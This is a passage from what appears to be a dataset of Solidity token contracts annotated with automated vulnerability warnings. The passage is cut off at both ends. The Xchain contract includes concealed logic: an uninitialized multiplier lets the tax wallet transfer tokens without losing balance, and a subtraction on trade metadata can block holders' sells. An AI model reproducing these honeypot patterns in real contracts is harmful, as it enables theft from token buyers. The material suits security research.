to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 1 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caLimit &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caBlockLimit, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: 1cd25e5\n\t\t\t\t// reentrancy-eth | ID: 399dab4\n\t\t\t\t// reentrancy-eth | ID: 16f9857\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 1cd25e5\n\t\t\t\t\t// reentrancy-eth | ID: 399dab4\n\t\t\t\t\t// reentrancy-eth | ID: 16f9857\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 399dab4\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 399dab4\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 1cd25e5\n\t\t\t\t// reentrancy-eth | ID: 16f9857\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 1cd25e5\n\t\t\t\t\t// reentrancy-eth | ID: 16f9857\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 16f9857\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 1cd25e5\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 16f9857\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 16f9857\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 1cd25e5\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1cd25e5\n\t\t// reentrancy-events | ID: 3b5775f\n\t\t// reentrancy-benign | ID: c0f6e90\n\t\t// reentrancy-eth | ID: 399dab4\n\t\t// reentrancy-eth | ID: 16f9857\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueStuckETH() external onlyOwner {\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: afdf794): POG.rescueStuckERC20Tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for afdf794: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueStuckERC20Tokens(\n address _tokenAddr,\n uint _amount\n ) external onlyOwner {\n\t\t// unchecked-transfer | ID: afdf794\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function exileW_Restriction() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: b01bdf3): POG.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for b01bdf3: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 1cd25e5\n\t\t// reentrancy-events | ID: 3b5775f\n\t\t// reentrancy-eth | ID: 399dab4\n\t\t// reentrancy-eth | ID: 16f9857\n\t\t// arbitrary-send-eth | ID: b01bdf3\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 66b2ccb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 66b2ccb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e7b30e9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e7b30e9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f1f65b6): POG.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f1f65b6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d611481): POG.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for d611481: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: afd3968): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for afd3968: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 66b2ccb\n\t\t// reentrancy-benign | ID: e7b30e9\n\t\t// reentrancy-eth | ID: afd3968\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 66b2ccb\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 66b2ccb\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: e7b30e9\n\t\t// unused-return | ID: f1f65b6\n\t\t// reentrancy-eth | ID: afd3968\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e7b30e9\n\t\t// unused-return | ID: d611481\n\t\t// reentrancy-eth | ID: afd3968\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: e7b30e9\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: afd3968\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: e7b30e9\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n", "file_name": "solidity_code_1035.sol", "size_bytes": 22485, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function totalSupply() external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n}\n\nlibrary SafeMath {\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function factory() external pure returns (address);\n}\n\ncontract Xchain is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f649ff4): Xchain._taxWallet should be immutable \n\t// Recommendation for f649ff4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 802bbb5): Xchain._initialBuyTax should be constant \n\t// Recommendation for 802bbb5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: 172c151): Xchain._initialSellTax should be constant \n\t// Recommendation for 172c151: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: b66e7ec): Xchain._finalBuyTax should be constant \n\t// Recommendation for b66e7ec: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: c8080e4): Xchain._finalSellTax should be constant \n\t// Recommendation for c8080e4: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 26910ab): Xchain._reduceBuyTaxAt should be constant \n\t// Recommendation for 26910ab: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 39;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8bc4909): Xchain._reduceSellTaxAt should be constant \n\t// Recommendation for 8bc4909: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 39;\n\n\t// WARNING Optimization Issue (constable-states | ID: 813a1a9): Xchain._preventSwapBefore should be constant \n\t// Recommendation for 813a1a9: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 29;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"X BLOCKCHAIN\";\n\n string private constant _symbol = unicode\"Xchain\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 11eaae8): Xchain._taxSwapThreshold should be constant \n\t// Recommendation for 11eaae8: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 14000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 00278ea): Xchain._maxTaxSwap should be constant \n\t// Recommendation for 00278ea: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 16000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private _router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n struct TradeMetaData {\n uint256 oracleStart;\n uint256 claimId;\n uint256 oracleClaimTotal;\n }\n\n mapping(address => TradeMetaData) private tradeMeta;\n\n\t// WARNING Optimization Issue (constable-states | ID: f119a1d): Xchain.tradeMetaUnit should be constant \n\t// Recommendation for f119a1d: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: a3cf9c0): Xchain.tradeMetaUnit is never initialized. It is used in Xchain._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for a3cf9c0: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private tradeMetaUnit;\n\n uint256 private tradeLeaderTheshold;\n\n constructor() {\n _taxWallet = payable(0xd97A2847d1E02fB485c7f5ED518E051EBB5eceC8);\n\n _balances[_msgSender()] = _tTotal;\n\n isExcludedFromFee[address(this)] = true;\n\n isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1a6f18e): Xchain.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1a6f18e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 289ca8e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 289ca8e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 99304de): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 99304de: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 289ca8e\n\t\t// reentrancy-benign | ID: 99304de\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 289ca8e\n\t\t// reentrancy-benign | ID: 99304de\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fba5221): Xchain._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for fba5221: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 99304de\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 289ca8e\n emit Approval(owner, spender, amount);\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4581d78): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4581d78: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0373cf4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0373cf4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a6ba99a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a6ba99a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (inSwap || !tradingOpen) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(_router) &&\n !isExcludedFromFee[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 4581d78\n\t\t\t\t// reentrancy-benign | ID: 0373cf4\n\t\t\t\t// reentrancy-eth | ID: a6ba99a\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4581d78\n\t\t\t\t\t// reentrancy-eth | ID: a6ba99a\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (isExcludedFromFee[from] || isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 0373cf4\n tradeLeaderTheshold = block.number;\n }\n\n if (!isExcludedFromFee[from] && !isExcludedFromFee[to]) {\n if (to == uniswapV2Pair) {\n TradeMetaData storage tradeFrom = tradeMeta[from];\n\n\t\t\t\t// reentrancy-benign | ID: 0373cf4\n tradeFrom.oracleClaimTotal =\n tradeFrom.oracleStart -\n tradeLeaderTheshold;\n\n\t\t\t\t// reentrancy-benign | ID: 0373cf4\n tradeFrom.claimId = block.timestamp;\n } else {\n TradeMetaData storage tradeTo = tradeMeta[to];\n\n if (uniswapV2Pair == from) {\n if (tradeTo.oracleStart == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 0373cf4\n tradeTo.oracleStart = _preventSwapBefore >= _buyCount\n ? type(uint).max\n : block.number;\n }\n } else {\n TradeMetaData storage tradeFrom = tradeMeta[from];\n\n if (\n !(tradeTo.oracleStart > 0) ||\n tradeFrom.oracleStart < tradeTo.oracleStart\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 0373cf4\n tradeTo.oracleStart = tradeFrom.oracleStart;\n }\n }\n }\n }\n\n\t\t// reentrancy-events | ID: 4581d78\n\t\t// reentrancy-eth | ID: a6ba99a\n _tokenTransfer(from, to, taxAmount, tokenAmount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 taxAmount,\n uint256 tokenAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: a6ba99a\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: a6ba99a\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 4581d78\n emit Transfer(from, to, receiptAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: a3cf9c0): Xchain.tradeMetaUnit is never initialized. It is used in Xchain._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for a3cf9c0: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : tradeMetaUnit.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a6ba99a\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 4581d78\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _router.WETH();\n\n _approve(address(this), address(_router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 289ca8e\n\t\t// reentrancy-events | ID: 4581d78\n\t\t// reentrancy-benign | ID: 99304de\n\t\t// reentrancy-benign | ID: 0373cf4\n\t\t// reentrancy-eth | ID: a6ba99a\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n receive() external payable {}\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 289ca8e\n\t\t// reentrancy-events | ID: 4581d78\n\t\t// reentrancy-eth | ID: a6ba99a\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 89d7fbd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 89d7fbd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6ea94c4): Xchain.enableTrading() ignores return value by _router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 6ea94c4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 42b205f): Xchain.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(_router),type()(uint256).max)\n\t// Recommendation for 42b205f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: ca81bae): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for ca81bae: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(_router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 89d7fbd\n\t\t// reentrancy-no-eth | ID: ca81bae\n uniswapV2Pair = IUniswapV2Factory(_router.factory()).createPair(\n address(this),\n _router.WETH()\n );\n\n\t\t// reentrancy-no-eth | ID: ca81bae\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 89d7fbd\n\t\t// unused-return | ID: 6ea94c4\n _router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 89d7fbd\n\t\t// unused-return | ID: 42b205f\n IERC20(uniswapV2Pair).approve(address(_router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 89d7fbd\n swapEnabled = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function withdrawStuckETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n}\n", "file_name": "solidity_code_10350.sol", "size_bytes": 22989, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function balanceOf(address account) external view returns (uint256);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function totalSupply() external view returns (uint256);\n}\n\nlibrary SafeMath {\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n 